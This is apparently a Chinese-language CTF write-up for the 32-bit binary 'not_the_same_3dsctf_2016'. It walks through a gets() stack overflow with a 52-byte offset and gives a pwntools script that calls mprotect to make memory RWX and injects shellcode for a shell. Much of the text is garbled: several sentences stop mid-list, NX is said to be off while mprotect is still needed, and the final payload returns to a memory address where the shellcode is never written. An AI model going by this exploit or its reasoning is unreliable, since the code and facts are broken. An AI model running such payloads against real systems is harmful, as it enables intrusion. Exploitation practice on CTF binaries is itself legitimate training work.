"not_the_same_3dsctf_2016"是一道经典的CTF二进制利用题目,源自2016年3DSCTF赛事。这道题目的独特之处在于它通过精心设计的漏洞场景,考察选手对栈溢出、ROP链构造以及非常规内存操作的掌握程度。题目本身是一个32位ELF可执行文件,运行时会提示用户输入,但存在明显的缓冲区溢出漏洞。
这道题的特殊性在于:
/bin/sh获取方式会失效首先用checksec检查程序保护机制:
bash复制checksec --file=not_the_same_3dsctf_2016
输出显示只有Partial RELRO保护,没有开启NX、PIE等现代防护措施。这意味着:
通过逆向分析(使用IDA或Ghidra)可以发现,程序在读取用户输入时使用了不安全的gets()函数,导致经典的栈溢出漏洞。
使用pattern_create和pattern_offset工具确定溢出点到返回地址的精确偏移:
bash复制/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 300 > pattern.txt
gdb ./not_the_same_3dsctf_2016
run < pattern.txt
# 记录崩溃时的EIP值
/usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -q [EIP值]
经过测试,偏移量为52字节 - 这意味着我们需要填充52字节的垃圾数据后才能控制EIP。
这道题的特殊之处在于:
mprotect()函数,改变了特定内存区域的权限execve("/bin/sh")调用会被环境过滤通过逆向分析,我们发现程序中存在以下有用片段:
write32()函数read32()函数mprotect()调用链构造初始payload结构:
python复制from pwn import *
context(arch='i386', os='linux')
padding = b'A' * 52
eip = p32(0x080489A0) # write32()函数地址
这个初始payload会:
write32()函数利用write32()函数修改关键内存区域:
python复制# 修改.got.plt表中的puts地址为system地址
write32_got = 0x0804A028
system_addr = 0x08048460
payload = padding
payload += p32(write32_got)
payload += p32(system_addr)
这个阶段的关键点:
最终payload需要结合程序自身的mprotect()调用:
python复制mprotect_addr = 0x08048DA0
shellcode = asm(shellcraft.sh())
payload = padding
payload += p32(mprotect_addr)
payload += p32(0x0804A100) # 可写内存区域
payload += p32(0x1000) # 大小
payload += p32(0x7) # RWX权限
payload += p32(0x0804A100) # shellcode地址
payload += shellcode
python复制#!/usr/bin/env python3
from pwn import *
context(arch='i386', os='linux')
def exploit():
p = process('./not_the_same_3dsctf_2016')
# 第一阶段:设置内存权限
padding = b'A' * 52
mprotect = 0x08048DA0
mem_addr = 0x0804A100
mem_size = 0x1000
mem_prot = 0x7 # RWX
payload = padding
payload += p32(mprotect)
payload += p32(mem_addr) # 返回地址
payload += p32(mem_addr)
payload += p32(mem_size)
payload += p32(mem_prot)
# 第二阶段:写入shellcode
shellcode = asm(shellcraft.sh())
payload += shellcode
p.sendline(payload)
p.interactive()
if __name__ == '__main__':
exploit()
内存地址选择:
.data段等可写区域存放shellcodereadelf -S查看内存布局权限设置:
mprotect()的prot参数需要设置为7(RWX)环境适配:
调试技巧:
bash复制gdb -q ./not_the_same_3dsctf_2016
break *0x080489A0 # 在关键函数设断点
run < payload.txt
备选方案:
open/read/write组合读取flag这道题目展示了在没有NX保护但存在特殊限制条件下的利用技巧。在实际CTF比赛中,类似的题目可能会:
解决这类题目的通用思路是: